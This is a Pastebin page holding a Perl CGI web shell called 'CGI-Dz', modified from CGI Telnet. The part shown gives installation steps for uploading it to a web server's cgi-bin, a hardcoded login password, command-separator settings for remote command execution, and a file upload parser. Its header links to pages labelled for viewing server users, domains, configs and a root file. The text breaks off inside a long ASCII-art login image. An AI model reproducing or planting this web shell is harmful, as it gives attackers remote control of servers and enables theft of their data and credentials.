API tools faq
paste
Advertisement
bl4ck4ng3l

Untitled

bl4ck4ng3l
Jan 10th, 2013
134
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 66.31 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. ####################_       _#################################################################################################################################################################################        
  3. #                  o' \,=./ `o                                                                                                                                                                               #  
  4. #                     (o o)                                                                                                                                                                                  #
  5. #-----------------ooO--(_)--Ooo------------------------------------------------------------------------------------------------------------------------------------------------------------------------------/                                              
  6. # _____   _____   _             _____   ______   [ ~~CGI Dz~~ ] !s a PerL 3vil script.                                                                                                                       /
  7. #/  ___| /  ___| | |           |  _  \ |___  /   Modif!ed By :  BriscO-Dz <~> G-[at]HoTmail[dot]Fr                                                                                                           /
  8. #| |     | |     | |  ______   | | | |    / /    Note : I'm Proud to be ~~Alger!an0 !!~~                                                                                                                     /
  9. #| |     | |  _  | | |______|  | | | |   / /     Copyhigh (c) 2o12.All Rights Reserved. - ~~ wWw.BriscO-Dz.cOm ~~                                                                                            /
  10. #| |___  | |_| | | |           | |_| |  / /__    10x 2: [ Allah ]                                                                                                                                            /
  11. #\_____| \_____/ |_|           |_____/ /_____|   Spc 10x & Grt'z 2: [ Spy-Dz Fr0m 48 ] [ Mr.FonToMe ] [ Over-X ] [ Dz.sOldaT ] [ Ev!LsCr!pT_Dz ] [ LoGin.Dz ] [ BLaCk_SPECTRE ].                   /                                                                                                                                                                                 /
  12. #                                                                                                                                                                                                            /
  13. #------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------/
  14. ##############################################################################################################################################################################################################
  15.  
  16. #------------------------------------------------------------------------------
  17. # Installation
  18. #------------------------------------------------------------------------------
  19. # To install this script
  20. #
  21. # 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
  22. #    your server. For most servers, you may not need to modify this.
  23. # 2. Change the password in the Configuration section below.
  24. # 3. If you're running the script under Windows NT, set $WinNT = 1 in the
  25. #    Configuration Section below.
  26. # 4. Upload the script to a directory on your server which has permissions to
  27. #    execute CGI scripts. This is usually cgi-bin. Make sure that you upload
  28. #    the script in ASCII mode.
  29. # 5. Change the permission (CHMOD) of the script to 755.
  30. # 6. Open the script in your web browser. If you uploaded the script in
  31. #    cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
  32. # 7. Login using the password that you specified in Step 2.
  33. #------------------------------------------------------------------------------
  34.  
  35. #------------------------------------------------------------------------------
  36. # Configuration: You need to change only $Password and $WinNT. The other
  37. # values should work fine for most systems.
  38. #------------------------------------------------------------------------------
  39. $Password = "dz";       # Change this. You will need to enter this
  40.                 # to login.
  41.  
  42. $WinNT = 0;         # You need to change the value of this to 1 if
  43.                 # you're running this script on a Windows NT
  44.                 # machine. If you're running it on Unix, you
  45.                 # can leave the value as it is.
  46.  
  47. $NTCmdSep = "&";        # This character is used to seperate 2 commands
  48.                 # in a command line on Windows NT.
  49.  
  50. $UnixCmdSep = ";";      # This character is used to seperate 2 commands
  51.                 # in a command line on Unix.
  52.  
  53. $CommandTimeoutDuration = 100;  # Time in seconds after commands will be killed
  54.                 # Don't set this to a very large value. This is
  55.                 # useful for commands that may hang or that
  56.                 # take very long to execute, like "find /".
  57.                 # This is valid only on Unix servers. It is
  58.                 # ignored on NT Servers.
  59.  
  60. $ShowDynamicOutput = 1;     # If this is 1, then data is sent to the
  61.                 # browser as soon as it is output, otherwise
  62.                 # it is buffered and send when the command
  63.                 # completes. This is useful for commands like
  64.                 # ping, so that you can see the output as it
  65.                 # is being generated.
  66.  
  67. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  68.  
  69. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  70. $CmdPwd = ($WinNT ? "cd" : "pwd");
  71. $PathSep = ($WinNT ? "\\" : "/");
  72. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  73.  
  74. #------------------------------------------------------------------------------
  75. # Reads the input sent by the browser and parses the input variables. It
  76. # parses GET, POST and multipart/form-data that is used for uploading files.
  77. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  78. # Other variables can be accessed using $in{'var'}, where var is the name of
  79. # the variable. Note: Most of the code in this function is taken from other CGI
  80. # scripts.
  81. #------------------------------------------------------------------------------
  82. sub ReadParse
  83. {
  84.     local (*in) = @_ if @_;
  85.     local ($i, $loc, $key, $val);
  86.  
  87.     $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  88.  
  89.     if($ENV{'REQUEST_METHOD'} eq "GET")
  90.     {
  91.         $in = $ENV{'QUERY_STRING'};
  92.     }
  93.     elsif($ENV{'REQUEST_METHOD'} eq "POST")
  94.     {
  95.         binmode(STDIN) if $MultipartFormData & $WinNT;
  96.         read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  97.     }
  98.  
  99.     # handle file upload data
  100.     if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  101.     {
  102.         $Boundary = '--'.$1; # please refer to RFC1867
  103.         @list = split(/$Boundary/, $in);
  104.         $HeaderBody = $list[1];
  105.         $HeaderBody =~ /\r\n\r\n|\n\n/;
  106.         $Header = $`;
  107.         $Body = $';
  108.         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  109.         $in{'filedata'} = $Body;
  110.         $Header =~ /filename=\"(.+)\"/;
  111.         $in{'f'} = $1;
  112.         $in{'f'} =~ s/\"//g;
  113.         $in{'f'} =~ s/\s//g;
  114.  
  115.         # parse trailer
  116.         for($i=2; $list[$i]; $i++)
  117.         {
  118.             $list[$i] =~ s/^.+name=$//;
  119.             $list[$i] =~ /\"(\w+)\"/;
  120.             $key = $1;
  121.             $val = $';
  122.             $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  123.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  124.             $in{$key} = $val;
  125.         }
  126.     }
  127.     else # standard post data (url encoded, not multipart)
  128.     {
  129.         @in = split(/&/, $in);
  130.         foreach $i (0 .. $#in)
  131.         {
  132.             $in[$i] =~ s/\+/ /g;
  133.             ($key, $val) = split(/=/, $in[$i], 2);
  134.             $key =~ s/%(..)/pack("c", hex($1))/ge;
  135.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  136.             $in{$key} .= "\0" if (defined($in{$key}));
  137.             $in{$key} .= $val;
  138.         }
  139.     }
  140. }
  141.  
  142. #------------------------------------------------------------------------------
  143. # Prints the HTML Page Header
  144. # Argument 1: Form item name to which focus should be set
  145. #------------------------------------------------------------------------------
  146. sub PrintPageHeader
  147. {
  148.     $EncodedCurrentDir = $CurrentDir;
  149.     $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  150.     print "Content-type: text/html\n\n";
  151.     print <<END;
  152. <html>
  153. <head>
  154. <title>CGI-Dz [ Modified By BriscO-Dz ] [ v 3.0 | 2o12 !! 4 ModificaTion ] </title>
  155. $HtmlMetaHeader
  156. <link rel="shortcut icon" href="http://street48.co.cc/favicon.ico">
  157. <style type="text/css">
  158. .xdz{
  159.      background-color: #3F74D6;
  160.      color: black;
  161.      font-weight: bold;  
  162. }
  163. .brisco{
  164.      color: black;
  165. }
  166. a{
  167. text-decoration: none;color: white;
  168. }
  169. .crewdz {
  170.      color: #FFFF00;
  171.      font-family: "Cooper Black";
  172.      font-size: small;
  173.      background-color: #FF0000;  
  174. }
  175. .shadow{
  176.      text-shadow: red 0px 0px 5px;
  177. }
  178. </style>
  179. </head>
  180.  
  181. <body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  182. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  183. <tr><b>
  184. <td bgcolor="#E974C9" bordercolor="#FFFFFF" align="center"></b>
  185. <b><font color="#FFFFFF" size="2">#</font></b></td>
  186. <td bgcolor="#000000"><font face="Verdana" size="2" color="#FF0066"><b class="shadow">CGI-Dz [ Newz version 3.o !! ] [ BriscO-Dz ] Conn3cted 2 <font color="White" size="3" face="comic sans ms" class="shadow">~<font color="red" class="shadow">[</font> $ServerName <font color="red" class="shadow">]</font>~</font></b></font></td>
  187. </tr>
  188. <tr>
  189. <td colspan="2" bgcolor="#E974C9"><font face="Verdana" size="2"><span class="brisco">
  190. <a href="$RunCommand?id=xHomeDz">xHome</a></b> |
  191. <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File !</a> |
  192. <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File !</a> |
  193. <a href="$ScriptLocation?a=logout">LogOut !</a> |&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  194. <a href="javascript:history.go(-1)">Go back...</a>
  195. &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;
  196. <a href="userd.dz" target="_blank">Sh0w Domain</a>|
  197. <a href="userdx.dz" target="_blank">Sh0w DomainX</a>|
  198. <a href="user.dz" target="_blank">Sh0w User & Domain</a>|
  199. <a href="config.dz" target="_blank">Config</a>|
  200. <a href="1.txt" target="_blank">File r00t</a>|
  201. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;
  202.  
  203. <font class="fond" face="Tahoma" color="#FFFFFF"> &nbsp;&nbsp;
  204.     </font>
  205.     [<a href="/" onmouseover="document.bgColor='red'">red</a>] &nbsp;&nbsp;
  206.     [<a href="/" onmouseover="document.bgColor='black'">black</a>]   </font>
  207. </font></td>
  208. </tr>
  209. </table>
  210. <font color="#3F74D6" size="3">
  211.  
  212. END
  213. }
  214.  
  215. #------------------------------------------------------------------------------
  216. # Prints the Login Screen
  217. #------------------------------------------------------------------------------
  218. sub PrintLoginScreen
  219. {
  220.     $Message = q$<pre><font color="#3F74D6">
  221.  _____   _____   _             _____   ______  
  222. /  ___| /  ___| | |           |  _  \ |___  /
  223. | |     | |     | |  ______   | | | |    / /  
  224. | |     | |  _  | | |______|  | | | |   / /  
  225. | |___  | |_| | | |           | |_| |  / /__  
  226. \_____| \_____/ |_|           |_____/ /_____| v3.o
  227.  
  228. </font><font color="white">                                   </font><font color="#3F74D6" class="shadow">© 2o12 !, by </font><font color="red" class="shadow">BriscO-Dz</font><font color="#3F74D6">
  229.                   <table align="left" cellpadding="10">
  230. <tr bgcolor="BLACK"><td>
  231.  
  232. <!-- IMAGE BEGINS HERE -->
  233. <font size="-3">
  234. <pre><font color=#000001>1</font><font color=black>11</font><font color=#040404>0</font><font color=#0d100d>0</font><font color=#171d15>0</font><font color=#1d261d>1</font><font color=#1e281d>0</font><font color=#202a1e>1</font><font color=#202c1f>01</font><font color=#212e1f>1</font><font color=#223120>1</font><font color=#223021>0</font><font color=#202d1f>1</font><font color=#202c1f>0</font><font color=#212f1f>1</font><font color=#213020>0</font><font color=#233122>0</font><font color=#243221>1</font><font color=#243222>1</font><font color=#233222>1</font><font color=#223120>1</font><font color=#223020>10</font><font color=#233121>0</font><font color=#233021>1</font><font color=#22301f>0</font><font color=#233121>0</font><font color=#233221>1</font><font color=#243222>00</font><font color=#243322>00</font><font color=#223120>1</font><font color=#233121>0</font><font color=#233221>0</font><font color=#3e443e>1</font><font color=#4b4b4c>1</font><font color=#4b4b4b>010</font><font color=#4c4c4c>0</font><font color=#4b4b4c>1</font><font color=#4a4a4a>1</font><font color=#4a4a4b>1</font><font color=#4a4a4a>0</font><font color=#4b4b4b>1</font><font color=#4a4a4b>0</font><font color=#4a4a4a>010</font><font color=#494949>0</font><font color=#49494a>1101</font><font color=#484849>101</font><font color=#49484a>0</font><font color=#48484a>1</font><font color=#474748>10</font><font color=#464647>1</font><font color=#484748>0</font><font color=#474748>0</font><font color=#454546>0</font><font color=#454445>0</font><font color=#454546>1</font><font color=#444445>0</font><font color=#444345>1</font><font color=#464547>1</font><font color=#181819>0</font><font color=black>0</font><br><font color=black>0</font><font color=#000100>0</font><font color=#1a221a>1</font><font color=#4c624a>0</font><font color=#546c51>1</font><font color=#587455>0</font><font color=#5a7857>0</font><font color=#5c7b58>1</font><font color=#5f805b>0</font><font color=#61845c>0</font><font color=#62895e>1</font><font color=#669261>0</font><font color=#699764>0</font><font color=#699663>0</font><font color=#679261>0</font><font color=#669161>1</font><font color=#689562>0</font><font color=#699763>0</font><font color=#689563>1</font><font color=#6a9765>0</font><font color=#699664>0</font><font color=#6a9765>1</font><font color=#699664>00</font><font color=#689664>1</font><font color=#699764>10</font><font color=#699864>0</font><font color=#6b9b67>0</font><font color=#6a9764>1</font><font color=#6b9a66>0</font><font color=#6c9b67>01</font><font color=#6c9d67>1</font><font color=#6b9b65>1</font><font color=#699865>0</font><font color=#679662>1</font><font color=#c9d6c9>0</font><font color=#f6f6f8>0</font><font color=#f6f6f7>0</font><font color=#f5f5f6>0</font><font color=#f5f5f7>0</font><font color=#f7f7f9>0</font><font color=#f6f6f8>1</font><font color=#f4f4f6>0</font><font color=#f5f5f6>0</font><font color=#f4f4f5>1</font><font color=#f4f4f6>00</font><font color=#f3f3f5>01</font><font color=#f2f2f4>0</font><font color=#efeff1>1</font><font color=#efeef0>0</font><font color=#efeff0>0</font><font color=#eeeef0>0</font><font color=#ececee>1</font><font color=#ecebf0>0</font><font color=#e9e8ec>0</font><font color=#e8e8ec>1</font><font color=#eae9ed>0</font><font color=#eae9ee>0</font><font color=#eaeaed>0</font><font color=#e8e7eb>0</font><font color=#e9e8ec>1</font><font color=#e9e8eb>0</font><font color=#e7e7ea>0</font><font color=#e3e2e6>1</font><font color=#e1e0e4>1</font><font color=#dedde2>1</font><font color=#d9d8dd>0</font><font color=#dcdbdf>1</font><font color=#eeeef0>0</font><font color=#4f4e51>0</font><font color=#000001>0</font><br><font color=black>0</font><font color=#0f150f>1</font><font color=#668862>1</font><font color=#567055>1</font><font color=#4c624b>1</font><font color=#4f684b>1</font><font color=#506b4c>1</font><font color=#526e4f>0</font><font color=#557451>0</font><font color=#587d54>0</font><font color=#587e54>1</font><font color=#5c8758>0</font><font color=#608d5b>0</font><font color=#5f8d5a>0</font><font color=#608e5b>1</font><font color=#61935e>1</font><font color=#63925f>0</font><font color=#5f8c5b>0</font><font color=#5c8758>1</font><font color=#5e8a5a>1</font><font color=#608e5b>00</font><font color=#5f8c5a>11</font><font color=#62915e>1</font><font color=#62945f>0</font><font color=#62925e>0</font><font color=#61915d>0</font><font color=#61905e>0</font><font color=#608f5b>0</font><font color=#61905d>0</font><font color=#62935f>0</font><font color=#61935f>0</font><font color=#63935f>0</font><font color=#61925e>1</font><font color=#5e8b5b>1</font><font color=#5e895a>0</font><font color=#c6d3c5>1</font><font color=#f7f8f9>0</font><font color=#f8f8f8>1</font><font color=#f6f6f7>0</font><font color=#f5f5f7>1</font><font color=#f8f8f9>0</font><font color=#f7f7f8>1</font><font color=#f3f3f5>0</font><font color=#f2f2f4>1</font><font color=#f4f4f6>1</font><font color=#f6f6f8>0</font><font color=#f5f5f7>00</font><font color=#f4f4f6>0</font><font color=#efeff1>0</font><font color=#ededef>0</font><font color=#eeeef0>0</font><font color=#eeeeef>0</font><font color=#ededef>1</font><font color=#eae9ec>1</font><font color=#eaeaed>1</font><font color=#e9e8ec>0</font><font color=#e9e9ed>1</font><font color=#ebeaef>0</font><font color=#ebebee>1</font><font color=#ededef>0</font><font color=#ececee>1</font><font color=#eeeef0>0</font><font color=#ecebef>1</font><font color=#e8e8ec>0</font><font color=#e7e6ea>0</font><font color=#e6e5e9>1</font><font color=#e6e5e8>0</font><font color=#e5e4e7>1</font><font color=#e3e2e5>1</font><font color=#f2f2f4>0</font><font color=#515153>0</font><font color=black>1</font><br><font color=black>0</font><font color=#1c271b>1</font><font color=#7fad7a>1</font><font color=#54714f>1</font><font color=#506b4e>1</font><font color=#547450>1</font><font color=#557651>1</font><font color=#567750>0</font><font color=#587b53>0</font><font color=#5a7e55>0</font><font color=#5c8157>0</font><font color=#5e8a5b>1</font><font color=#618e5c>1</font><font color=#5d8959>1</font><font color=#5e8a5a>0</font><font color=#618e5b>1</font><font color=#61905e>0</font><font color=#608d5b>10</font><font color=#62925e>1</font><font color=#639560>0</font><font color=#649760>1</font><font color=#649861>0</font><font color=#639961>1</font><font color=#649760>0</font><font color=#639660>1</font><font color=#639460>0</font><font color=#61915d>1</font><font color=#639460>0</font><font color=#64975f>11</font><font color=#659a62>0</font><font color=#649961>0</font><font color=#649861>0</font><font color=#61915c>0</font><font color=#5e8b59>1</font><font color=#5e8a5a>1</font><font color=#c9d7c7>1</font><font color=#faf9fa>0</font><font color=#f8f8f8>1110</font><font color=#f6f6f7>1</font><font color=#f6f6f8>1</font><font color=#f7f7f8>1</font><font color=#f6f6f8>10</font><font color=#f4f4f6>110</font><font color=#f3f3f5>1</font><font color=#f0f0f1>0</font><font color=#efeff1>1</font><font color=#ececee>1</font><font color=#ececed>0</font><font color=#ececee>1</font><font color=#ececed>0</font><font color=#ebebed>0</font><font color=#eaeaed>1</font><font color=#ebebef>0</font><font color=#ededef>1</font><font color=#efeff1>1</font><font color=#eeeef0>1</font><font color=#efeff1>101</font><font color=#ececee>0</font><font color=#eeeef0>0</font><font color=#ededee>1</font><font color=#ededef>1</font><font color=#ebebec>0</font><font color=#f6f6f7>1</font><font color=#545455>1</font><font color=black>1</font><br><font color=#000100>0</font><font color=#1c271b>1</font><font color=#83b57d>1</font><font color=#587b54>01</font><font color=#5a8155>0</font><font color=#598057>1</font><font color=#597f55>0</font><font color=#5a7f55>0</font><font color=#5a7f54>1</font><font color=#5b8156>0</font><font color=#5e8a5a>0</font><font color=#608f5d>0</font><font color=#608c5b>0</font><font color=#5e8959>1</font><font color=#5e8758>1</font><font color=#5c8356>1</font><font color=#61905d>0</font><font color=#649861>0</font><font color=#63975f>0</font><font color=#629660>1</font><font color=#62935e>0</font><font color=#63945f>1</font><font color=#649b63>0</font><font color=#649660>0</font><font color=#649862>0</font><font color=#639560>0</font><font color=#63955f>1</font><font color=#639660>0</font><font color=#659860>1</font><font color=#659a61>0</font><font color=#639860>1</font><font color=#63945f>0</font><font color=#648c5b>0</font><font color=#688759>1</font><font color=#6f8257>1</font><font color=#727e55>1</font><font color=#cabbae>0</font><font color=#f4dbdb>1</font><font color=#f6e2e3>0</font><font color=#f7eeee>0</font><font color=#f7f4f4>0</font><font color=#f8f8f8>1</font><font color=#f7f8f9>0</font><font color=#f7f7f9>0</font><font color=#f6f6f8>01</font><font color=#f5f5f7>00</font><font color=#f6f6f8>11</font><font color=#f3f3f5>01</font><font color=#f0f0f2>10</font><font color=#f1f1f3>01</font><font color=#efeff1>1</font><font color=#ededee>0</font><font color=#ececee>1</font><font color=#ededef>1</font><font color=#efeff1>1</font><font color=#f0f0f2>1</font><font color=#f1f1f3>00</font><font color=#f2f2f4>10</font><font color=#efeff1>1</font><font color=#f0f0f2>0</font><font color=#ededef>0</font><font color=#ececee>0</font><font color=#ededee>0</font><font color=#f8f8f8>0</font><font color=#565657>1</font><font color=black>1</font><br><font color=black>0</font><font color=#1b241a>1</font><font color=#7da675>0</font><font color=#547351>1</font><font color=#567953>0</font><font color=#5a8055>0</font><font color=#5a8056>1</font><font color=#5b8457>0</font><font color=#5c8659>1</font><font color=#5e8959>01</font><font color=#5e8b5a>0</font><font color=#62905d>1</font><font color=#5f8c5b>0</font><font color=#5c8457>0</font><font color=#5a7e53>0</font><font color=#5e895a>1</font><font color=#63945f>1</font><font color=#64965f>0</font><font color=#669c64>1</font><font color=#659d63>1</font><font color=#659b63>1</font><font color=#649962>1</font><font color=#659d63>0</font><font color=#669c63>1</font><font color=#669e65>0</font><font color=#659d65>0</font><font color=#649a62>0</font><font color=#689762>1</font><font color=#768c5c>1</font><font color=#947856>1</font><font color=#b06550>1</font><font color=#c4564a>1</font><font color=#d24d48>1</font><font color=#d34946>1</font><font color=#d64746>1</font><font color=#d14948>1</font><font color=#d95150>1</font><font color=#de5859>1</font><font color=#df5d5d>1</font><font color=#df6363>0</font><font color=#db7070>1</font><font color=#e18485>1</font><font color=#e7a2a1>0</font><font color=#edc6c6>1</font><font color=#f3e6e7>1</font><font color=#f8f6f8>1</font><font color=#f9f9fa>1</font><font color=#f9f8fa>0</font><font color=#f9f9fa>1</font><font color=#f7f7f8>1</font><font color=#f6f6f8>1</font><font color=#f2f2f3>0</font><font color=#f2f2f4>1</font><font color=#f4f4f6>00</font><font color=#f5f5f6>1</font><font color=#f1f1f3>0</font><font color=#f0f0f2>1</font><font color=#f1f1f3>0</font><font color=#f2f2f4>0</font><font color=#f5f5f6>1</font><font color=#f6f6f7>1</font><font color=#f7f7f7>1</font><font color=#f3f3f5>1</font><font color=#f2f2f4>0</font><font color=#f1f1f3>01</font><font color=#f4f4f6>1</font><font color=#f0f0f2>1</font><font color=#ededef>0</font><font color=#efeff0>0</font><font color=#f7f7f8>0</font><font color=#545455>1</font><font color=black>1</font><br><font color=black>0</font><font color=#1c251b>1</font><font color=#7ba475>0</font><font color=#547151>1</font><font color=#567751>0</font><font color=#5a8056>1</font><font color=#5a8356>0</font><font color=#5b8155>1</font><font color=#5b8156>0</font><font color=#5c8557>1</font><font color=#608d5b>0</font><font color=#61915e>0</font><font color=#608c5b>1</font><font color=#608d5c>0</font><font color=#5c8255>0</font><font color=#608b5b>1</font><font color=#639661>0</font><font color=#61905d>11</font><font color=#61915d>1</font><font color=#659b63>1</font><font color=#659c63>1</font><font color=#669e65>0</font><font color=#659c63>0</font><font color=#669d64>0</font><font color=#67a469>0</font><font color=#6d9763>0</font><font color=#947656>1</font><font color=#c1594c>0</font><font color=#de4847>1</font><font color=#e14645>1</font><font color=#e04645>0</font><font color=#df4646>1</font><font color=#d54e48>1</font><font color=#b8614f>0</font><font color=#987455>1</font><font color=#807c57>1</font><font color=#cec2b4>1</font><font color=#f9eae9>1</font><font color=#faf2f1>1</font><font color=#faf3f3>1</font><font color=#f8f1f1>0</font><font color=#f8eaeb>1</font><font color=#f3dcdb>1</font><font color=#edc9c8>1</font><font color=#e8b7b6>0</font><font color=#ecbdbd>0</font><font color=#f5dcdc>1</font><font color=#faf8f7>1</font><font color=#fbfbfc>1</font><font color=#f9f9f9>0</font><font color=#f8f9f9>0</font><font color=#f7f7f7>1</font><font color=#f5f5f7>101</font><font color=#f6f6f7>1</font><font color=#f4f4f6>1</font><font color=#f3f3f5>1</font><font color=#f5f5f7>1</font><font color=#f6f6f7>1</font><font color=#f8f8f8>1</font><font color=#f9f9f9>0</font><font color=#f8f8f8>0</font><font color=#f3f3f5>0</font><font color=#f2f2f4>1</font><font color=#f0f0f2>1</font><font color=#f2f2f4>01</font><font color=#efeff1>1</font><font color=#e9e9eb>0</font><font color=#e6e6e7>0</font><font color=#f4f4f5>0</font><font color=#525253>0</font><font color=black>1</font><br><font color=black>1</font><font color=#1b251a>1</font><font color=#7fab79>0</font><font color=#557452>0</font><font color=#587a54>1</font><font color=#5b8357>1</font><font color=#5d8859>1</font><font color=#5d8458>1</font><font color=#5a8256>0</font><font color=#5d8758>0</font><font color=#5f8b5b>0</font><font color=#5e8b59>1</font><font color=#608f5d>1</font><font color=#62925e>0</font><font color=#5f8a5a>0</font><font color=#639560>0</font><font color=#649761>0</font><font color=#61905d>1</font><font color=#608f5d>1</font><font color=#608f5b>0</font><font color=#659a63>1</font><font color=#669d64>1</font><font color=#659e64>1</font><font color=#659b63>1</font><font color=#649a62>1</font><font color=#85885c>1</font><font color=#c4574c>0</font><font color=#d74646>0</font><font color=#e04645>1</font><font color=#de4647>0</font><font color=#de4645>1</font><font color=#d4514a>0</font><font color=#9d7a59>1</font><font color=#749461>1</font><font color=#679b63>0</font><font color=#659c63>1</font><font color=#629460>1</font><font color=#cadac8>0</font><font color=#fcfcfc>1</font><font color=#fdfdfd>0</font><font color=#fcfcfc>1</font><font color=#fbfbfa>0</font><font color=#fcfcfc>1</font><font color=#f8f8f9>1</font><font color=#f3e8e9>1</font><font color=#f9f8f8>1</font><font color=#f9f7f8>1</font><font color=#f8ebec>0</font><font color=#f7ecec>1</font><font color=#fbfcfc>0</font><font color=#fafafb>1</font><font color=#faf9f9>0</font><font color=#f8f9f9>1</font><font color=#f7f7f8>1</font><font color=#f6f6f6>1</font><font color=#f7f7f7>1</font><font color=#f9f9f9>1</font><font color=#f7f7f8>0</font><font color=#f6f6f8>1</font><font color=#f5f5f7>0</font><font color=#f7f7f7>0</font><font color=#f8f8f8>0</font><font color=#f9f9f9>0</font><font color=#f8f8f8>1</font><font color=#f6f6f8>1</font><font color=#f4f4f6>1</font><font color=#eeeef0>1</font><font color=#ebebed>1</font><font color=#eaeaec>0</font><font color=#e9e9eb>0</font><font color=#e5e5e7>1</font><font color=#e7e7e9>0</font><font color=#f4f4f4>0</font><font color=#525253>1</font><font color=black>1</font><br><font color=#000001>0</font><font color=#1e291c>0</font><font color=#85ba7f>0</font><font color=#597d55>1</font><font color=#5a7e54>1</font><font color=#5d8759>00</font><font color=#5b8256>1</font><font color=#5a7f55>0</font><font color=#5b8156>0</font><font color=#5e885a>1</font><font color=#62925e>1</font><font color=#659962>0</font><font color=#649861>0</font><font color=#63945f>1</font><font color=#649a62>0</font><font color=#649861>1</font><font color=#649661>0</font><font color=#63945e>1</font><font color=#63965f>0</font><font color=#659a62>00</font><font color=#639660>0</font><font color=#639960>1</font><font color=#887b57>0</font><font color=#d34b47>0</font><font color=#db4546>0</font><font color=#d94546>1</font><font color=#dd4546>1</font><font color=#dc4545>1</font><font color=#bc5c4d>1</font><font color=#739461>1</font><font color=#65a267>1</font><font color=#67a46a>0</font><font color=#659d64>1</font><font color=#649862>0</font><font color=#639761>1</font><font color=#c8cebd>0</font><font color=#f8e1e0>0</font><font color=#faeaeb>1</font><font color=#fcf5f4>1</font><font color=#fbfafb>0</font><font color=#f6e3e4>1</font><font color=#e59594>0</font><font color=#df7675>0</font><font color=#f9fafb>0</font><font color=#fafaf9>0</font><font color=#fafbfa>1</font><font color=#fafafa>0</font><font color=#fbfafa>0</font><font color=#f9faf9>1</font><font color=#f9f8f8>0</font><font color=#f9f9f8>1</font><font color=#f9f9fa>0</font><font color=#f8f8f8>00</font><font color=#fafafa>0</font><font color=#f9f9f9>0</font><font color=#f7f7f7>0</font><font color=#f3f3f5>1</font><font color=#f4f4f6>1</font><font color=#f5f5f6>10</font><font color=#f5f5f5>0</font><font color=#f5f5f6>1</font><font color=#f4f4f4>1</font><font color=#ededef>0</font><font color=#eaeaec>1</font><font color=#e9e9eb>0</font><font color=#ebebed>1</font><font color=#eaeaec>1</font><font color=#eeeef0>0</font><font color=#f7f7f8>0</font><font color=#545454>1</font><font color=black>1</font><br><font color=#000001>1</font><font color=#1e281c>0</font><font color=#85b97e>1</font><font color=#5c8358>0</font><font color=#5d8959>1</font><font color=#608e5c>0</font><font color=#608f5d>1</font><font color=#5b8456>0</font><font color=#5e8959>0</font><font color=#61905d>1</font><font color=#618f5d>0</font><font color=#639560>1</font><font color=#659a62>110</font><font color=#659961>1</font><font color=#659a62>0</font><font color=#649962>0</font><font color=#659962>0</font><font color=#61905c>0</font><font color=#639961>1</font><font color=#659b63>1</font><font color=#61915d>1</font><font color=#638f5d>1</font><font color=#c8544b>1</font><font color=#de4546>1</font><font color=#df4545>1</font><font color=#da4545>1</font><font color=#d94546>1</font><font color=#d24b48>1</font><font color=#748b5c>0</font><font color=#639861>0</font><font color=#669b63>0</font><font color=#659e65>1</font><font color=#649d63>1</font><font color=#639761>1</font><font color=#649660>0</font><font color=#c8d1c0>0</font><font color=#f1b8b8>0</font><font color=#e47071>1</font><font color=#e56868>0</font><font color=#e47878>1</font><font color=#da5b5a>0</font><font color=#d34746>0</font><font color=#d96464>1</font><font color=#efd3d3>0</font><font color=#f6e5e4>1</font><font color=#f9f3f3>1</font><font color=#fafafa>01</font><font color=#f9f9f9>1</font><font color=#f7f7f8>1</font><font color=#f7f7f6>0</font><font color=#f6f6f7>11</font><font color=#f7f7f7>0</font><font color=#f8f8f8>0</font><font color=#f7f7f8>1</font><font color=#f3f3f4>1</font><font color=#eeeeef>0</font><font color=#efeff1>0</font><font color=#f3f3f4>0</font><font color=#f4f4f5>0</font><font color=#f5f5f6>0</font><font color=#f8f8f8>0</font><font color=#f6f6f7>1</font><font color=#f3f3f5>0</font><font color=#f1f1f3>0</font><font color=#efeff1>11</font><font color=#f0f0f2>1</font><font color=#f3f3f5>1</font><font color=#f9f9fa>1</font><font color=#545455>1</font><font color=black>1</font><br><font color=#000001>1</font><font color=#1e2b1d>1</font><font color=#8cc384>1</font><font color=#618d5c>1</font><font color=#608e5b>1</font><font color=#608f5b>1</font><font color=#618f5d>1</font><font color=#5d8758>0</font><font color=#608e5c>0</font><font color=#62925d>1</font><font color=#62915d>1</font><font color=#639560>0</font><font color=#669f66>0</font><font color=#669c64>1</font><font color=#649961>0</font><font color=#659a61>0</font><font color=#649a62>1</font><font color=#649862>0</font><font color=#61905d>1</font><font color=#618e5c>1</font><font color=#649b62>1</font><font color=#679f66>0</font><font color=#649960>0</font><font color=#6c8d5d>0</font><font color=#d24b47>0</font><font color=#e04546>0</font><font color=#e24645>0</font><font color=#db4546>1</font><font color=#d44546>1</font><font color=#c8534b>0</font><font color=#67935f>1</font><font color=#63945f>0</font><font color=#659861>1</font><font color=#669d64>1</font><font color=#659c64>0</font><font color=#649961>0</font><font color=#649861>0</font><font color=#c9dac8>0</font><font color=#fbf5f5>0</font><font color=#efb5b4>1</font><font 